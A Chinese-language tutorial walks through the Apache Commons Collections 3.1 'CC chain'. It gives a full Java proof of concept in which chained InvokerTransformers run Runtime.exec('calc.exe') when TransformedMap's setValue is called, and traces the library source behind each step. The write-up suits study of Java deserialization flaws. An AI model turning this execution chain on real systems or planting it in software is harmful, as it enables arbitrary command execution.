初探CC链

这里先放出完整的代码和commons-collections的版本

import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class ExecTest {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("key","value");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        System.out.println(onlyElement);
        onlyElement.setValue("hahaha");
    }
}
// maven依赖
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

 

 

 **********************************************************************************************************************************************************************************************************************************************************************************

分析 ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}
//把我们传入的对象赋值给this.iConstant


public Object transform(Object input) {
    return this.iConstant;
}
//执行 transform(Object input) 会返回this.iConstant

 

 

 **********************************************************************************************************************************************************************************************************************************************************************************

 

分析InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}
//三个参数分别为：方法名称、形参、实参


public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

//这里用到了反射的知识。
//根据传入的input得到对应的类cls
Class cls = input.getClass();

//传入方法的名称和形参得到对应的方法
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);

//传入对象，实参，调用该方法
return method.invoke(input, this.iArgs);

 

 

 **********************************************************************************************************************************************************************************************************************************************************************************

分析ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}
//给this.iTransformers赋值

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}
//1.这里是把链子串起来的关键。
//2.循环遍历iTransformers，把上一个iTransformers[i].transform(object)的返回值作为下一个iTransformers[i].transform(object)的参数。
//3.只要触发了这个方法就能成功执行payload，后面我们就要想办法让程序执行这个方法。

 

 这里列出执行过程，帮助理解

//第一次循环
Class cls1= Runtime.class;

//第二次循环
Class cls2 = cls1.getClass();
Method m1 = cls2.getMethod("getMethod",new Class[]{String.class,Class[].class});
Object o1 = m1.invoke(cls1,new Object[]{"getRuntime",new Class[0]});

//第三次循环
Class cls3 = o1.getClass();
Method m2 = cls3.getMethod("invoke",new Class[]{Object.class,Object[].class});
Object o2 = m2.invoke(o1,new Object[]{"null",new Object[0]});

//第四次循环
Class cls4 = o2.getClass();
Method m3 = cls4.getMethod("exec",new Class[]{String.class});
Object o3 = m3.invoke(o2,new Object[]{"calc.exe"});

//等价于
Runtime.getRuntime().exec("calc");

 

 

 **********************************************************************************************************************************************************************************************************************************************************************************

Map innerMap = new HashMap(); // 实例化一个HashMap对象
innerMap.put("key","value");  // 给这个Map里添加一个键值对
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
// outerMap.map = innerMap,     outerMap.keyTransformer = null
// outerMap.ValueTransformer = transformerChain

这里咱们来追踪一下decorate方法：

 

1.点进decorate,看到它返回的是TransformedMap对象。

 

2.找到TransformedMap的构造方法，可以看到给this.keyTransformer和this.ValueTransformer进行了复制。此时我们看到了super(map)说明map参数是在父类的方法里处理的。

 

3.点进super,发现这里还是super(map)。

 

4.继续点进super,我们成功找到了处理map的方法，可以看到如果传入的map为空的话就会抛出一个异常，这就是为什么要执行innerMap.put("key","value");的原因。

如果map不为空的话，就将传入的map赋值给当前对象的map。

 

 

 

**********************************************************************************************************************************************************************************************************************************************************************************

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
// 取出outerMap.map的最后一个键值对
onlyElement.setValue("hahaha");
// setValue可以触发前面ChainedTransformer的transform方法

我们现在来追踪一下setValue的调用过程：

 

1.点进setValue,发现setValue是Map的一个接口

 

2.onlyElement是来自TransformedMap的，所以我们点进TransformedMap寻找setValue方法。CTRL+F查找setValue方法，没有找到，说明该方法可能是在父类实现的。

 

3.点进TransformedMap的父类AbstractInputCheckedMapDecorator。成功找到setValue方法。这里我们关注checkSetValue。

 

4.跟进checkSetValue,发现这是一个抽象方法，说明其实现的地方是在子类。

 

5.AbstractInputCheckedMapDecorator的子类就是TransformedMap方法，所以我们回到TransformedMap方法成功找到checkValue方法。可以看到在这个方法里执行了this.valueTransformer.transform(value)。到这里，我们的命令就可以成功执行。